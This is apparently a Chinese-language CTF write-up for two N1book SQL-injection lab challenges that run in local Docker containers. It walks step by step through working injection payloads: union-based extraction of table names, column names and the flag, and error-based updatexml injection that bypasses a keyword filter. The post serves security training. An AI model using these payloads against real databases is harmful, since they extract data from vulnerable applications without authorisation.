当前位置: 首页 > news >正文

CTFer成长之路之CTF中的SQL注入

CTF中的SQL注入CTF

SQL注入

SQL注入-1

题目描述:

暂无

docker-compose.yml

version: '3.2'services:web:image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-1:latestports:- 80:80

启动方式

docker-compose up -d

题目Flag

n1book{union_select_is_so_cool}

Writeup

访问url:http://192.168.10.22/index.php?id=2-1

在这里插入图片描述

访问url:http://192.168.10.22/index.php?id=2

在这里插入图片描述

两者结果相同,说明不存在数字型在注入

访问url:http://192.168.10.22/index.php?id=2’

在这里插入图片描述

访问url:http://192.168.10.22/index.php?id=2’%23

在这里插入图片描述

页面重新有显示内容,说明存在字符型注入

判断字段数,有三个字段

http://192.168.10.22/index.php?id=2’ order by 3%23有回显

http://192.168.10.22/index.php?id=2’ order by 4%23无回显

在这里插入图片描述

尝试union注入,查看回显点为2,3

访问url:http://192.168.10.22/index.php?id=-2’ union select 1,2,3%23

在这里插入图片描述

尝试获取表名

http://192.168.10.22/index.php?id=-2' union select 1,2400,group_concat(table_name) from information_schema.tables where table_schema=database()%23
http://192.168.10.22/index.php?id=-2' union select 1,group_concat(table_name),2400 from information_schema.tables where table_schema=database()%23

2,3这两处回显点,一处写payload,一处可以是任意数字

在这里插入图片描述

获取字段名

http://192.168.10.22/index.php?id=-2’ union select 1,group_concat(column_name),2400 from information_schema.columns where table_schema=database() and table_name=‘fl4g’%23

为fllllag

在这里插入图片描述

获取flag:

http://192.168.10.22/index.php?id=-2’ union select 1,fllllag,2400 from fl4g%23

n1book{union_select_is_so_cool}

在这里插入图片描述

SQL注入-2

题目描述:

请访问 http://127.0.0.1/login.php http://127.0.0.1/user.php

docker-compose.yml

version: '3.2'services:web:image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-2:latestports:- 80:80

启动方式

docker-compose up -d

题目Flag

n1book{login_sqli_is_nice}

Writeup

查看源代码,页面注释中有提示,在url中加入?tips=1,出现报错信息

在这里插入图片描述

访问:http://192.168.10.22/login.php?tips=1 账号输入1’密码输入1抓包

在这里插入图片描述

使用报错注入时可以发现,回显正常报错

name=1’and updatexml(1,concat(0x7e,(select 1)),1)#&pass=1

在这里插入图片描述

name=1’and updatexml(1,concat(0x7e,(select(1)from dual)),1)#&pass=1

回显,说明我们的sql语句被进行了某种替换,导致语法错误。

在这里插入图片描述

尝试

name=1’and updatexml(1,concat(0x7e,(selselectect(1)from dual)),1)#&pass=1

发现回显正常

在这里插入图片描述

使用报错注入获取表名

name=1’and updatexml(1,concat(0x7e,(selselectect(group_concat(table_name))from information_schema.tables where table_schema=database())),1)#&pass=1

为fl4g,users

在这里插入图片描述

获得列名

name=1’and updatexml(1,concat(0x7e,(selselectect(group_concat(column_name))from information_schema.columns where table_name=‘fl4g’)),1)#&pass=1

为flag

在这里插入图片描述

获得flag

name=1’and updatexml(1,concat(0x7e,(selselectect(flag)from fl4g)),1)#&pass=1

为n1book{login_sqli_is_nice}

在这里插入图片描述

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirectFreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
http://www.lryc.cn/news/14395.html

相关文章:

  • python snap7读写PLC
  • 使用物联网进行智能能源管理的10大优势
  • 工业4.0和工业物联网如何协同工作
  • Python机器学习入门笔记(3)—— 线性回归
  • Java:顶级Java应用程序服务器 — Tomcat、Jetty、GlassFish、WildFly
  • 如何在SpringBoot项目上让接口返回数据脱敏,一个注解即可
  • python 之 海龟绘图(turtle)
  • RT-Thread SPI使用教程
  • shiro使用——整合spring
  • 2023-02-20 leetcode-AccountsMerge
  • 中国高速公路行业市场规模及未来发展趋势
  • 佳能iC MF645CX彩色激光多功能打印机报E302-0001故障码检修
  • 加密越来越简单——用JavaScript实现数据加密和解密
  • 线程池的使用场景
  • 图像分割算法
  • 《mysql技术内幕:innodb存储引擎》笔记
  • windows与linux系统ntp服务器配置
  • html常用font-family设置字体样式
  • 数据库事务AICD以及隔离级别
  • (4)VScode之ssh基础配置
  • springcloud-1环境搭建、service provider
  • 光谱仪工作过程及重要参数定义
  • W800|iot|HLK-W800-KIT-PRO|AliOS|阿里云| |官方demo|学习(1):板载AliOS系统快速上手
  • 字节终面,一道Linux题难住我了
  • 三、NetworkX工具包实战2——可视化【CS224W】(Datawhale组队学习)
  • 【MySQL】MySQL 架构
  • Python日期时间模块
  • 学以致用——植物信息录入1.0(selenium+pandas+os+tkinter)
  • 什么是压敏电阻
  • Leetcode.901 股票价格跨度